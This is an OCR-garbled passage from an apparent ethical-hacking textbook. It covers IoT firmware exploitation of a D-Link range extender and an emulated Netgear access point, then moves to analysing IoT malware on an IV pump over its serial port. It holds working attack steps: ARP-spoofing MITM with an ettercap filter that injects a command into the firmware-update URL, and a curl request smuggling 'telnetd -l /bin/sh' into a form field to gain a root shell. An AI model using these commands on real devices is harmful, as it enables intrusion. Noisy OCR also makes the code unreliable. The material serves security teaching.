name. Because this 1s a lookup table, we need to find the beginning of the table 1n order 
to locate a cross-reference to it. 


: 90446754 alpv6 # "ipv6" 

:00446758 : sub 48E790 

:9044675C à alpv6Function "IPv6 Function" 
: 00446760 z aDownloadFwLp "download fw. lp" 


: 00446764 ! download fw and lp 

: 00446768 aDownloadFwAndL - "Download FW and language to DUT" 
:0044676C aGetWlanIp # "get wlan ip" 

:00446770 sub 40D680 

: 00446774 i aGetWlanIp 6 "Get wlan ip" 





Although we have not completely traced the origin of the system call back to the root, 
it is safe to say that it points back to the cgi command to download the firmware. A few 
greps @ of the “download fw lp" string give us the origin ee. At this point, we will 
move on to attempting to exploit the device through the firmware update. 


Orootekali:-/DAP-1320/fmk/rootfst grep -r download fw lp . 
Q./www/Firmware.htm:«input type="hidden" id="action" name="action" 
value-"download fw lp"> 

Binary file ./bin/ssi matches 

@rcot@kali:~/DAP-1320/fmk/rootfs# grep -C 7 download fw lp www/Firmware.htm 
<form ids"form3" name="form3" method="POST" actions"apply.cgi"- 

«input type="hidden" id-"html response page" name-"html response page" 
value="Firmware.htm"> 

<input type="hidden" name="html_ response return page" value="Firmware.htm"> 
<input type="hidden" id="html response message" names"html response message" 
value-"dl fw lp"> 

«input type="hidden" id="file link" name="file link" value=""> 

«input type="hidden" id="file name" names"file name" value=""> 

<input type="hidden" id="update type" name="update type" value=""> 

@<input type="hidden" id-"action" name-"action" value="download fw _lp"> 
</form> 


Dynamic Analysis with Hardware 


The static analysis portion of the assessment 1s complete. From this point forward, we 
will be looking at the system as it runs. We need to set up an environment for 
intercepting requests from the device to the WAN, connect the DAP-1320 to our test 
network, and begin exercising the firmware update process. The end goal 1s to execute 
something on the wireless extender through command injection. 


The Test Environment Setup 


The test setup we've chosen uses 64-bit Kali Linux 2017, Ettercap, the DAP-1320 
wireless range extender with firmware version 1.11, and a stock wireless network. The 
idea 1s to ARP-spoof the DAP-1320 so that all traffic to and from the device goes 
through our Kali Linux system. Although we could have simply put a device inline 
between the extender and the router that can forward traffic after inspection and 
modification, ARP spoofing would be the likely attack mechanism used in the field. 


Ettercap 

As a quick refresher, Address Resolution Protocol (ARP) is the mechanism for 
resolving an IP address to its Media Access Control (MAC) address. The MAC address 
is a unique address assigned by the manufacturer of the network device. Simply put, 
when a station needs to communicate with another station, 1t uses ARP to determine the 
MAC address associated with the IP to use. ARP spoofing effectively poisons the ARP 
tables of the stations, causing them to use the attacker's MAC address instead of the 
actual MAC address of the target station. Therefore, all traffic to a destination traverses 
through the attacker's station. This effectively puts a device inline without having to 


Technet24 


physically modify the network. 

Ettercap 1s a tool that allows us to ARP-spoof for the purposes of man-in-the-middle 
(MITM) attacks, parse the packets, modify them, and forward them to the recipient. To 
begin with, we use Ettercap to see the traffic between the device and the Internet by 
issuing the following command (where the device is 192.168.1.173 and the gateway 1s 
192.168.1.1 in this example): 


rootGkali:-/DAP-13204 ettercap -T -q -M arp:remote /192.168.1.173// /192.168.1.1// 


Once Ettercap has started, we will use Wireshark to view the traffic as we interact with 
the device. Once Wireshark 1s started and the capture has been initiated, we can check 
for a firmware update on the device's upgrade page, as shown here. 














D-Link Home | Settings | Management | 


Upgrade 


This page shows you your current firmware version, and allows you to check for and 
download new firmware. After downloading the firmware, you can then upgrade it by using 
ihe butions below. 


Firmware Information 


Current Firmware Version: 1.11 


Curent Firrrware Date: 2013916 


Upgrade Manually 





Click the Check for New Firmware button and then follow the TCP stream within 
Wireshark. We now see that the device goes to 
http://wrpd.dlink.com.tw/router/firmware/query.asp?model-DAP-1320 Ax Default in 
the first two lines and the response 1s XML-encoded data, as shown next. 


Stream Content 


GET /router/firmware/query.asp?model-DAP-1320 Ax Default HTTP/1.1 
Host: wrpd.dlink.com.tw 
Connection: Keep-Alive 


HITP/1.1 200 OK 

Date: Fri, O3 Jan 2014 00:21:15 GMT 

Server: Microsoft-IIS/6.0 

X-Powered-By: ASP.NET 

Content-Length: 566 

Content-Type: text/xml; Charset-UTF-8 

Set-Cookie: ASPSESSIONIDSSTCSCSAzJIFNFAADNHJHPHI NGMBBOJND; pathz/ 
Cache-control: private 


<?xml version="1.0" encoding="UTF-8" standalone="yes" ?> 


By going to the URL we captured, we can see that the XML contains the FW version’s 
major and minor numbers, the download site, and release notes. 


Yv«DAP-1320 
Yvx «Default» 

Yvx*tFW Version» 
<Major>01</Major> 
<Minor>11</Minor> 
<Date>2013-09-17</Date> 
<Recommend/> 

«/FW Version» 
vxeDbownload Site» 
vx «Global» 


¥<Firmware> 
http: //d9qhdod87cnnk.cloudfront.net/DAP-1320/Ax/Default/0111/DAP1320A2 FW111B10.bin 
</Firmware> 


v«Release Note> 
http: //wrpd.dlink.com/router/firmware/GetReleaseNote.aspx?model=DAP-1320 Ax Default FW 0111 
</Release Note» 
</Global> 
«/Download Site» 
</Default> 
</DAP-1320 Ax> 





Armed with this information, we can assume that 1f we change the minor number to 12 
and the firmware link to a shell command, we will force the device to attempt to update 
and, consequently, run our command. In order to accomplish this task, we need to create 
an Ettercap filter g (previously saved and displayed here), compile it e, and then run it 
@, as follows: 


Oroot@kali:~/DAP-1320# cat ettercap.filter 


if (ip.proto == TCP && tcp.src == 80) | 
msg("Processing Minor Response...\n"); 
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if (search(DATA.data, "«Minor»11")) { 
replace("«Minor»11", "zMinor»12"); 
msg ("zapped Minor version! \n"); 


j 


if (ip.proto == TCP && tcp.src == 80) { 
msg ("Processing Firmware Response...\n"); 
if (search(DATA.data, "http://d")) 


| 
replace("http://d", "“reboot™") ; 
msg("zapped firmware! \n") ; 


) 


Ə@root@kali:~/DAP-1320# etterfilter ettercap-reboot.filter -o ettercap-reboot.ef 
«output omitted for brevity> 

@root@kali:~/DAP-1320# ettercap -T -q -F ettercap-reboot.ef -M arp:remote 
/192.168.1.173// /192.168.1.1// 

«output omitted for brevity> 


In order to determine 1f our command is getting executed, we need to ping the box and 
monitor the ping messages as we issue an upgrade. But first, notice that after clicking the 


Check for New Firmware button, we now see that there 1s a 1.12 version available to 
download. 


Upgrade 


This page shows you your current firmware version, and allows you to check for and 
download new firmware. After downloading the firmware, you can then upgrade it by using 
the buttons below. 


Management >> Upgrade 


Firmware Information 


Current Firmware Version: 1.11 New Firmware Version: 1.12 


Current Firmware Date: 2013/16 New Firmware Date: 2013-12-18 


| Upgrade Firrrware | 











Upgrade Manually 


Jann reme 





Prior to clicking the Upgrade Firmware button, we need to set up our ping to monitor 
the device. When we click the Upgrade Firmware button, we should see the following 


download progress box: 


Please do not close the browser 
while the firmware is being 
downloaded! 





rootGekali:-/DAP-1320H ping 192.168.1.173 

64 bytes from 192.168.1.173: icmp seq-56 ttl-64 time-2.07 ms 
64 bytes from 192.168.1.173: icmp seq-57 ttl=64 time-2.20 ms 
64 bytes from 192.168.0.63: icmp seq-58 ttl=64 time=3.00 ms 
OFrom 192.168.1.173 icmp seq-110 Destination Host Unreachable 


From 192.168.1.173 icmp seq-111 Destination Host Unreachable 
From 192.168.1.173 icmp seq-112 Destination Host Unreachable 
From 192.168.1.173 icmp seq-113 Destination Host Unreachable 
From 192.168.1.173 icmp seq-114 Destination Host Unreachable 
From 192.168.1.173 icmp seq-115 Destination Host Unreachable 
From 192.168.1.173 icmp seq-116 Destination Host Unreachable 
From 192.168.1.173 icmp seq-117 Destination Host Unreachable 
From 192.168.1.173 icmp seq-118 Destination Host Unreachable 
From 192.168.1.173 icmp seq-119 Destination Host Unreachable 
From 192.168.1.173 icmp seq-120 Destination Host Unreachable 
From 192.168.1.173 icmp seq-121 Destination Host Unreachable 


664 bytes from 192.168.1.173: icmp seq-122 ttl=64 time=1262 ms 
64 bytes from 192.168.1.173: icmp seq-123 ttl-64 time-239 ms 
64 bytes from 192.168.1.173: icmp seq-124 ttl-64 time-2.00 ms 


You will notice that the host becomes nonresponsive @ and later comes back online e. 
This indicates that the box was rebooted. At this point, we've proven that we can inject 
a command into the upgrade URL and the device will execute 1t. Without uploading an 
executable to the device, you are limited by what 1s on the device. For example, as 
previously explained, if telnetd 1s compiled into the Busybox (it is not on this system), 
you can just start it to access the shell without a password, as follows: 


telnetd -1 /bin/sh 
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This approach 1s demonstrated 1n the next section. If needed, you could cross-compile a 
binary such as netcat for this processor and then upload it via tftp or tfcp, as Craig 


Heffner has demonstrated,^ or you could use another method. 


Dynamic Analysis with Emulation 


It turns out, in some cases, not to be necessary to have hardware in hand to perform 
vulnerability analysis and exploit firmware. 


FIRMADYNE 


The FIRMADYNE' tool allows for the emulation of firmware by using the QEMU 
hypervisor. The beauty of this approach 1s that you do not have to buy the hardware to 
test the firmware. This powerful approach allows for scaled testing in parallel. 
Dominic Chen downloaded and tested more than 23,000 specimens of firmware and 


was able to successfully run about 9,400 of them (approximately 40 percent), which is 
not bad at all. In the following labs, we will set up and execute FIRMADYNE. 


Lab 24-3: Setting Up FIRMADYNE 


If you want to follow along in this lab, we will be using Ubuntu 16.04.3 server, running 
in VMware or VirtualBox, with NAT network settings, only OpenSSH installed, with a 
username of firmadyne. First, we need to set up the FIRMADYNE tool by using the 
instructions found on the FIRMADYNE GitHub (see the “For Further Reading" section 
at the end of this chapter): 


firmadyne@ubuntu:~$ sudo apt-get update 

«output skipped throughout this lab for brevity> 

firmadyne@ubuntu:~$ sudo apt-get install busybox-static fakeroot git kpartx V 
> netcat-openbsd nmap python-psycopg2 python3-psycopg2 snmp uml-utilities V 
» util-linux vlan 

firmadyneG&ubuntu:-$ git clone -recursive \ 

» https://github.com/firmadyne/firmadyne.git 

firmadyne@ubuntu:~$ git clone https://github.com/devttysO/binwalk.git 
Cloning into 'binwalk'... 

remote: Counting objects: 7413, done. 

remote: Compressing objects: 100% (22/22), done. 

remote: Total 7413 (delta 6), reused 15 (delta 3), pack-reused 7387 
Receiving objects: 100% (7413/7413), 43.68 MiB | 3.62 MiB/s, done. 
Resolving deltas: 100% (4265/4265), done. 

Checking connectivity... done. 

firmadyne@ubuntu:~$ cd binwalk/ 

firmadyne&ubuntu:-/binwalk$ sudo ./deps.sh 

«output skipped for brevity> 

Continue [y/N]? y 

«output skipped for brevity> 

Firmadyne@ubuntu:~/binwalk$ sudo python ./setup.py install 
firmadyneGeubuntu:-/binwalk$ sudo apt-get install python-lzma 
firmadyne&ubuntu:-/binwalk$ sudo -H pip install \ 

> git«https://github.com/ahupp/python-magic 

firmadyne@ubuntu:~/binwalk$ sudo -H pip install \ 

> git«https://github.com/sviehb/jefferson . 

firmadyneG&ubuntu:-/firmadyne$ git clone https://github.com/firmadyne/sasquatch.git 
firmadyneG&ubuntu:-/firmadyne$ cd sasquatch/; make; sudo make install 


Next, install the PostgreSQL database: 
firmadyne@ubuntu:~$ sudo apt-get install postgresql 
Then, set up user firmadyne with the password “firmadyne” (when prompted): 


firmadyne@ubuntu:-$ sudo -u postgres createuser -P firmadyne 
Enter password for new role: 
Enter it again: 


Now, create the database and initialize it. Notice firmware is appended to the end of 
the next command: 


firmadyne@ubuntu:~$ sudo -u postgres createdb -O firmadyne firmware 
firmadyneG&ubuntu:-$ sudo -u postgres psql -d firmware «< * 

» ./firmadyne/database/schema 

CREATE TABLE 

ALTER TABLE 

CREATE SEQUENCE 

ALTER TABLE 

«output skipped for brevity> 


Download the pre-built binaries for FIRMADYNE (or build binaries using 


Technet24 


instructions on the FIRMADYNE GitHub): 


firmadyneGubuntu:-$ cd ~ 

firmadyneGubuntu:-$ cd ./firmadyne; ./download.sh 
Downloading binaries... 

Downloading kernel 2.6.32 (MIPS)... 

--2017-11-26 20:15:27-- M https://github.com/firmadyne/kernel- 
v2.6.32/releases/download/v1.0/vmlinux.mipsel 


Resolving github.com (github.com)... 192.30.253.113, 192.30.253.112, 
192.30.253.1l113 
Connecting to github.com (github.com)|192.30.253.113|:443... connected. 


«output skipped for brevity» 
Now install QEMU: 


firmadyneeubuntu:-/firmadyne$ sudo apt-get install qemu-system-arm \ 
> qemu-system-mips dqemu-system-x86 dqemu-utils 

Reading package lists... Done 

Building dependency tree 

Reading state information... Done 

The following additional packages will be installed: 

«output skipped for brevity> 

Do you want to continue? [Y/n] vy 

«output skipped for brevity> 


Finally, set the FIRMWARE DIR variable in the firmadyne.config file to the location 
of the firmadyne files: 


firmadyne&ubuntu:-/firmadyne$ sed -i \ 

> 's#/vagrant/firmadyne#/firmadyne/firmadyne#' firmadyne.config 
firmadyne@ubuntu:~/firmadynes sed -i 's/#FIRMWARE DIR/FIRMWARE DIR/' \ 
> firmadyne.config 

firmadyne@ubuntu:~/firmadynes head firmadyne.config 

#!/bin/sh 


# uncomment and specify full path to FIRMADYNE repository 
FIRMWARE DIR-/home/firmadyne/firmadyne/ 


# specify full paths to other directories 
BINARY DIR=${FIRMWARE DIR}/binaries/ 
TARBALL DIR=${FIRMWARE DIR}/images/ 
SCRATCH DIR=${FIRMWARE DIR}/scratch/ 
SCRIPT DIR=${FIRMWARE DIR}/scripts/ 
«truncated for brevity> 


Lab 24-4: Emulating Firmware 


Now that you have set up the environment, you may emulate a sample firmware (again, 


as described on the FIRMADYNE GitHub). 
First, using the extractor script, extract the firmware: 


firmadyne@ubuntu:~/firmadynes wget -r \ 
http://www.downloads.netgear.com/files/GDC/WNAP320/WNAP320$20Firmwaret20Version 
$202.0.3.z1p 

firmadyne@ubuntu:~/firmadynes ./sources/extractor/extractor.py -b Netgear \ 

> -sql 127.0.0.1 -np -nk "WNAP320 Firmware Version 2.0.3.zip" images 

»» Database Image ID: 1 


/home/firmadyne/firmadyne/WNAP320 Firmware Version 2.0.3.zip 
>> MDS: 51eddc7046d77a752ca4b39fbda50aff 

>> Tag: 1 

>> Temp: /tmp/tmpUVskcs 

«output skipped for brevity> 

>> Skipping: completed! 

>> Cleaning up /tmp/tmpUVsRCB8... 


Now, you may use the getArch script to get the architecture and store it 1n the database 
(enter the firmadyne DB password when prompted, which is “firmadyne’’): 


firmadyneGubuntu:-/firmadyne$ ./scripts/getArch.sh ./images/l.tar.gz 
./bin/busybox: mipseb 
Password for user firmadyne: 


Now, store the location of the extracted file system into the database: 
firmadyne@ubuntu:~/firmadynes ./scripts/tar2db.py -i 1 -f ./images/l.tar.gz 
Next, make a virtual image to launch with QEMU, using the makeImage script: 
firmadyneGubuntu:-/firmadyne$ sudo ./scripts/makeImage.sh 1 
Then, infer the network (this command will run for up to 60 seconds, so be patient): 
firmadyne@ubuntu:~/firmadynes ./scripts/inferNetwork.sh 1 
Querying database for architecture... Password for user firmadyne: 
mipseb 
Running firmware 1: terminating after 60 secs... 
main-loop: WARNING: I/O thread spun for 1000 iterations 
qemu-system-mips: terminating on signal 2 from pid 23713 
Inferring network... 
Interfaces: [{'bprtrunk', '192.168.0.2100']] 


Done! 


Now that you know what the IP 1s, run the emulator: 
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firmadyne@ubuntu:~/firmadynes ./scratch/l/run.sh 


Creating TAP device tapl 0... 


Set 'tapl 0' persistent and owned by uid 1000 


Bringing up TAP device... 
Adding route to 192.168.0.100.. 
Starting firmware emulation... 
«output skipped for brevity- 


use Ctrl-a + x to exit 


If at any time you mess up the preceding commands and want to reset the database and 
environment, simply run the following commands: 


firmadyneGubuntu:-/firmadyne$ psql 
> -q -c 'DROP DATABASE "firmware"! 
Password for user firmadyne: 
firmadyneGubuntu:-/firmadyne$ sudo 
firmadyneeubuntu:-/firmadyne$ sudo 
» « ./database/schema 
firmadyne@ubuntu:~/firmadynes sudo 
firmadyneGubuntu:-/firmadyne$ sudo 


-d 


=u 


-U 


rm 
Em 


postgres -U firmadyne -h 127.0.0.1 \ 
postgres createdb -O firmadyne firmware 
postgres psql -d firmware \ 


-rf ./images/*.tar.gz 
-rf scratch/ 


At this point, the firmware should be running on the preceding IP as a tap device. You 
should also be able to connect to this virtual interface from the machine on which you 
are running QEMU. This is fine if you are working from that machine with a desktop 
environment (GUI) running. However, in our case, because we are running the QEMU in 
a virtual machine with no desktop environment running, we will need to get creative 1f 
we want to play with the interface from another host. 





NOTE Itis important to be running in NAT mode on your virtual machine in order for 
the following 1nstructions to work. 


To do this, we can use the Python sshuttle? program to tunnel all network traffic 
through SSH to the virtual host. In this manner, we can access the remote tap device, as 
if we were local to the virtual machine. Because sshuttle runs in Python, it works on 


Linux, macOS, and Windows. 
To begin, install sshuttle with pip: 


$sudo pip install sshuttle 


Now launch it: 


$sshuttle --dns -r usernameGIP ADDR OF REMOTE SVR -N 
Here's an example from a Mac: 


MacBook-Pro:$ sshuttle --dns -r firmadyne@192.168.80.141 -N 
firmadyne@192.168.80.141's password: 
client: Connected. 


Now, from the system that 1s running sshuttle, open a web browser and try to connect 
to that IP, as shown next. You may need to wait a minute for the web service to fully 
start after the emulator launches the firmware. 


[S Netgear 7 Guest 
c C |O Not Secure | 192.168.0.100 © 
NETGEAR’ WNAP320 | 


Connect with Innovabon ^ ProSafe 
Wireless N Access Point 






Login | Help 


Username || | 


Fassword 


LOGIN 


























Copyright © 1996-2010 Netgear @ - 


The credentials are admin/password, which can be found online. And just like that, 
we are logged into an emulated router, as shown here. 
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I E ^ Netgear x WEN Guest 
QC | (D 192.168.0.100/index.php o 
NETGEAR WNAP320 

Congweci with Inncvofon ~ 
Wireless I Access Point 
| Configuration Monitoring Maintenance Support 
| System | IP Wireless | Security Wireless Bridge 
General 


General 


Access Point Name netgear] 23456 





Country / Region United States 








If your web browser hangs, check the sshuttle application; 1t may have crashed and 
needs to be restarted. 


Lab 24-5: Exploiting Firmware 

So far we have emulated the Netgear WNAP320 firmware in QEMU. Now it is time to 
do what we came for: exploit the firmware. Dominic Chen and his team found a 
command injection vulnerability in this firmware, running in FIRMADYNE. Let's test it 
and see if it can be exploited: 


firmadyneeubuntu:-$ nmap 192.168.0.100 


Starting Nmap 7.01 ( https://nmap.org ) at 2017-12-10 21:54 EST 
Nmap scan report for 192.168.0.100 

Host is up (0.0055s latency). 

Not shown: 997 closed ports 

PORT STATE SERVICE 

22/tcp open ssh 

80/tcp open http 

443/tcp open https 


Nmap done: 1 IP address (1 host up) scanned in 1.30 seconds 


Ofirmadyne@ubuntu:~/firmadynes curl -L --max-redir 0 -m 5 -s -f -X POST \ 
> -d "macAddress-000000000000;telnetd -1 /bin/sh;&reginfo-l&writeData-Submit" 
http://192.168.0.100/boardDataWW.php 
<html> 
<head> 
<title>Netgear</title> 
<style> 


etruncated for brevity> 
firmadyneGeubuntu:-/firmadyne$ nmap 192.168.0.100 


Starting Nmap 7.01 ( https://nmap.org ) at 2017-12-10 22:00 EST 
Nmap scan report for 192.168.0.100 

Host is up (0.0022s latency). 

Not shown: 996 closed ports 

PORT STATE SERVICE 

22/tcp open ssh 

@23/tcp open telnet 

80/tcp open http 

443/tcp open https 


Nmap done: 1 IP address (1 host up) scanned in 2.39 seconds 
firmadyne@ubuntu:-/firmadynes telnet 192.168.0.100 

Trying 192.168.0.100... 

Connected to 192.168.0.100. 

Escape character is '^]'. 

/home/www # ls 


BackupConfig.php boardDataWW.php checkSession.php data.php 
header.php index.php login header.php packetCapture.php 
saveTable.php test.php tmpl 


«truncated for brevity> 
/home/www # id 
uid-O0(root) gid=0 (root) 
/home/www # 


From the previous output, you should note that we have injected a command to start 
the telnet server.g The “telnet —l /bin/sh" argument starts the telnet server on the default 
port and binds it to the **/bin/sh" shell. The nmap scan shows that port 23 is now open. 
After connecting to telnet, you will note that the user is root.e Although this has been 
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done on emulated firmware, the same can be accomplished on the actual firmware. At 
this point, the attacker has root access on the device and can potentially use the device 
as a launching point for other attacks on the network. 


summary 


This chapter demonstrated vulnerability analysis, both from a static and dynamic point 
of view. It also demonstrated exploiting a command-injection attack both from a 
dynamic and emulated point of view. In the latter case, you learned that vulnerabilities 
can be discovered and proof-of-concept exploits can be developed without even 
purchasing the hardware equipment. Using these techniques, 1t 1s hoped that ethical 
hackers will find security vulnerabilities in embedded devices and disclose them in an 
ethical manner, thus making us all more secure. 


Further Reading 

ARP spoofing https://en.wikipedia.org/wiki/ARP. spoofing 

Busybox https://busybox.net 

Craig Heffner's Binwalk GitHub, https://github.com/ReFirmLabs/binwalk. 
Craig Heffner's blog (creator of binwalk) http://www.devttysO.com/blog/ 


Craig Heffner's Firmware Mod Kit GitHub, https://github.com/rampageX/firmware- 
mod-kit. 


Ettercap https://ettercap.github.10/ettercap 

Firmadyne GitHub  https://github.conyfirmadyne/firmadyne 

Firmware Mod Kit Prerequisites  https://github.com/rampage X/firmware-mod- 
kit/wiki 

IDA Pro Hex-Rays, https://ww w.hex-rays.com/products/1da 
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CHAPTER 


Fighting lol’ Malware 


As mentioned in Chapter 22, the Internet of Things (or IoT, as used throughout this 
chapter) 1s expected to exceed 20 billion devices by 2020. Those devices will be part 
of our lives at home, on the job, in the hospital, and so on, while we are running, 
bathing, driving, watching TV, and even sleeping. Unfortunately, this explosion of 
devices also allows attackers to have more options to steal our information, and the 
most scary part 1s that 1t could allow them to cause physical damage to society—by 
hacking into a pacemaker and causing a heart attack, by controlling a car remotely and 
making it speed up until it crashes, by hijacking an airplane or ship, or by sending an 
overdose via an infusion pump, just to mention a few scenarios. 
This chapter will help you prepare to respond to malware targeting IoT devices by 
having tools and techniques to dissect malware running on ARM or MIPS architectures 
in order to detect, stop, and hopefully prevent such attacks 1n our organizations. 

In this chapter, we cover the following topics: 

e Physical access to an IoT device 

e Setting up the threat lab 

* Dynamic analysis 

* Reversing ARM and MIPS malware 





Physical Access to the Device 


Having physical access to the IoT device via a serial port 1s recommended for many 
reasons: 


* Incident response Scenarios where a device 1s infected and the malware 
running inside needs to be analyzed, but the device 1s not accessible either from a 
local or remote console because it has been hijacked by ransomware. 


* Penetration testing This is the most common scenario, where gaining physical 
access to the device’s console can give you root access if it’s not configured 
securely. 


The section “Serial Interfaces" in Chapter 23 provides a great explanation of serial 
ports like UART and even provides a description of the JTAG interface. Refer to that 
chapter for more information on these topics. In this chapter, we focus on interacting 
with the RS-232 serial port because it is widely used to allow console access on many 
IoT devices. 


RS-232 Overview 


Our discussion of the RS-232 serial port focuses on the information needed for an 
incident responder or penetration tester to be able to interact with the serial port. For a 
more complete overview of the RS-232, refer to the link provided in the *For Further 
Reading" section at the end of this chapter. 

Back in its heyday, RS-232 was the standard communication port in personal 
computers; however, due to its low transmission speed (among other factors), 1t was 
eventually replaced by USB technology. However, in the IoT world, it 1s still a very 
common communication protocol used mainly to provide console access to medical, 
networking, entertainment, and industrial devices. 

RS-232 can transmit or receive data synchronously and asynchronously, and it can 
operate 1n full duplex mode, exchanging data 1n both directions concurrently. The data 1s 
transmitted via voltage levels where a logical 1 (mark) is between -15 and —3 VDC and 
a logic 0 (space) is between +3 and +15 VDC. Figure 25-1 presents a typical example 
of an RS-232 waveform; the transmission begins with a "start" bit (logic 0), followed 
by the data bits enclosed between the least significant bit (LSB) and the most significant 
bit (MSB), and finishes with a “stop” bit (logic 1) to signal the end of the data. Although 
it’s not reflected in the figure, a parity bit can also be used or discarded in order to 
validate data integrity. Last but not least is the baud rate, which measures the number of 
bits transferred per second (bps). The most common values are standardized at 9600, 
38400, 19200, 57600, and 115200 bps. 


LSB MSB 


Mark (1) -15VDC 





Space (0) +15VDC 





Figure 25-1 RS-232 waveform example 


RS-232 Pinout 
The most common RS-232 connectors are the DB-9 and DB-25. In this chapter, we 


focus on the DB-9 because it 1s the most common connector on IoT devices. Before the 
pinout details are listed, 1t is important for you to understand how these devices are 
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classified, because a pinout 1s defined based on the device classification. There are two 
types of RS-232 devices: data terminal equipment (DTE) and data circuit-terminating 
equipment (DCE). Commonly, a DTE is tied to a computer and a DCE to a modem. 
However, modems are not so common anymore. So, the best way to identify whether 
you are dealing with a DCE or DTE 1s by measuring the voltage in the transmit pin, 
which in a DB-9 can be either pin 3 or pin 2. If you get a voltage between —15 and —3 
VDC in pin 3, the device is a DTE. If you get that voltage on pin 2, you are dealing with 
a DCE device. 

Why is it important to identify whether a device is a DCE or DTE? Because the pinout 
is different, as shown in Figure 25-2. Pay attention to the differences between pins 2 and 
3, because a wrong connection will cause null communication with the serial port. 


Data Carrier Detect Data Carrier Detect 
Receive Data TxD | Transmit Data 
Transmit Data RxD | Receive Data 

Data Terminal Ready DSR | Data Set Ready 


Ground (Signal) Ground (Signal) 
Data Set Ready DTR | Data Terminal Ready 


Request to Send CTS |Clear to Send 


Clear to Send RTS |Request to Send 
Ring Indicator Ring Indicator 





Figure 25-2 DTE and DCE DB-9 pinouts 


Identifying the proper pinout 1s very important for interacting with the IoT device. 
Exercise 25-1 provides a practical example of this. 


Exercise 25-1: Troubleshooting a Medical Device’s RS-232 
Port 


Here is the scenario: as an incident responder, you receive an IV pump infected with 
malware. Your mission, should you choose to accept it, 1s to extract the malware 
running inside. However, when you plug your serial cable into the device to get console 
access, you receive no response, even after trying different baud rates. Therefore, a 
more detailed analysis is needed. Following are the recommended steps to deal with 
such a scenario. Please keep in mind that this is an ongoing investigation with a real 
medical device at the time of this writing, so we are focusing on the knowledge needed 


to deal with this type of scenario, not teaching the full details of the resolution. 


Step 1: Understand the Device You Are Dealing With 


The very first step 1s to take the time needed to understand the hardware and serial 
protocol you are dealing with. This 1s normally done by disassembling the equipment, 
identifying the chipset 1n question, and finding on the Internet what 1s known as the 
datasheet, which 1s basically the technical specification of that particular device. On the 
datasheet, you want to find the pinout (in other words, how the pins in the chipset are 
being used). This exercise uses the RS-232 board from an IV pump. Figure 25-3 shows 
the front of the device (left) and the board itself (right). At this point, you do not know 
anything about the board yet. You can see it has an RJ-45 connector, which normally 1s 
used for Ethernet communication, and on the right side of the figure you can see the 
entire board and its components. 








Figure 25-3 Serial device extracted 


If you are new to the hardware-analysis world, and therefore are not familiar with the 
chipsets embedded in the board, you can just buy a cheap magnifying glass so you can 
easily see the small numbers on the chips. Then you can start Googling these numbers; 
normally, you will find a lot of information about the purpose of that hardware, such as 
whether it’s simply SDRAM, a microcontroller, a field-programmable gate array 
(FPGA), or (as in our case) a serial interface. It's recommended that the magnifying 
glass come with clips because particularly when you need to solder something onto the 
printed circuit board (PCB), you need to have your hands free due to the precision 
required. Figure 25-4 shows using a magnifying glass to identify this device as a Maxim 
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MAX3227E. 





Figure 25-4 Looking at the device through a magnifying glass 





A quick search on the Internet reveals the datasheet at 
www.ti.conylit/ds/symlink/max3227e.pdf. Just by reading the description “3-V TO 5.5- 
V SINGLE CHANNEL RS-232 LINE DRIVER/RECEIVER,” it is clear that you have 
found your serial port and that it is using the standard RS-232 port, which means that the 
RJ-45 jack is not for Ethernet communication. Now, prepare a cup of coffee and get 
ready to read the entire specification, because it 1s very important to understand, 1n a 
general way, how this device works. For the purposes of this exercise, you need to 
identify the description of the pinout. What you want to find are the pins to transmit data, 
receive data, and the ground. 


Step 2: Map the Pins from the Devices 


Now that you have identified the datasheet, you need to understand the pinout of the 
MAX3227E. Figure 25-5 shows the pinout taken from the datasheet. 


DB PACKAGE 
eds 





|FORCEOFF 
Vec 

| GND 
DOUT 
|FORCEON 
DIN 


| INVALID 





ROUT 





Figure 25-5 MAX3227E pinout 





Page 3 of the datasheet provides the description of the pins. You are interested in the 
following: 


* GND (14) Ground 
e RIN (8) RS-232 receiver input 
* DOUT (13) RS-232 driver output 
Now that you know the pins needed to interact with the device, it's time to create your 
patch cable. You need to identify the corresponding RJ-45 pins, for which it’s normally 


easier to go by cable color rather than pin number. Here are the necessary steps to 
accomplish this: 


1. Grab a standard Ethernet cable (the kind you would use to plug into a computer) 
and cut it so that you can get access to each wire separately. 


2. Plug the RJ-45 connector into the device where the MAX3227E chip 1s embedded. 


3. Get a multimeter and perform a connectivity test, as follows: 
a. Turn the dial to Continuity Test mode (it looks like the Wi-Fi icon). 
b. Touch the black and red test leads and make sure you hear a sound. 


c. With the help of a magnifying glass, touch one test lead to pin 14 (ground) on 
the MAX3227E. 
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d. With the second test lead, start touching each wire of the Ethernet cable until 
you hear a sound. Write down the color of the wire. Conventionally, the wire 1s 
solid blue, but be sure to double-check. 


e. Repeat the same process with pin 8 (RIN) and pin 13 (DOUT). 


The mapping results are shown in the following table: 


MAX3227E Chip Pin RJ-45 Wire 
GND (8) Solid blue 
RIN (8) White/brown 
DOUT (13) White/blue 


At this point, you have your patch cable ready to understand RS-232 communication 
coming out of the IV pump. Now you need to work with the other side of the 
communication, the PC, which will be using its DB-9 port. Therefore, you just need to 
map the previously identified wires with the corresponding DB-9 read, transmit, and 
ground pins, and you are set! 

As you'll recall, in every RS-232 communication, you need to identify the DCE and 
DTE components. Thus, your laptop will be acting as the DTE and the IV pump as the 
DCE. This 1s important because you will be using the DTE pinout (refer to Figure 25-2) 
to interface with the IV pump via RJ-45. The following table provides the final 
configuration. 


PC: RS-232 (DTE) IV Pump: RJ-45 Wire (DCE) 
GND (5) GND (8) Solid blue 

RxD (2) RIN (8) White/brown 
TxD (3) DOUT (13) White/blue 


Finally, now that all the mapping 1s done, it 1s time to connect all the components, as 
shown in Figure 25-6. Here's the final configuration: 





Figure 25-6 Final setup for RS-232 connectivity 





IV pump RS-232 (MAX3227E) & patch cable € 4 RS-232 (DB-9 connector 
breakout) 


The double (male and female) DB-9 interface 1s handy for these engagements because 
it allows you to easily manipulate every single wire. These devices are called a “DB-9 
connector breakout" and can be found 1n many hardware stores at a decent price (less 
than $30 USD). 


Step 3: Interface with the IV Pump's Serial Port 

Now it’s time to check whether everything works correctly in the IV pump, so put the 
RS-232 PCB back into the medical device, connect all the wires as shown in Figure 25- 
6, and use a DB-9-male-to- USB cable to plug into your laptop. You can see the final 
setup in Figure 25-7. 
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Figure 25-7 Final test for IV pump 





Without turning on the IV pump yet, and with the USB cable plugged into the laptop, 
fire up your Ubuntu virtual machine (VM) on VirtualBox in order to read from the serial 
port. You need to attach the USB device to the VM, which 1s done by going to the menu 
Devices | USB | FTDI FT232R USB UART [0600]. 

Depending on the USB you use, the name of the device will be different, but the rule 
of thumb is to always look for a new device you haven't seen before in the list. 

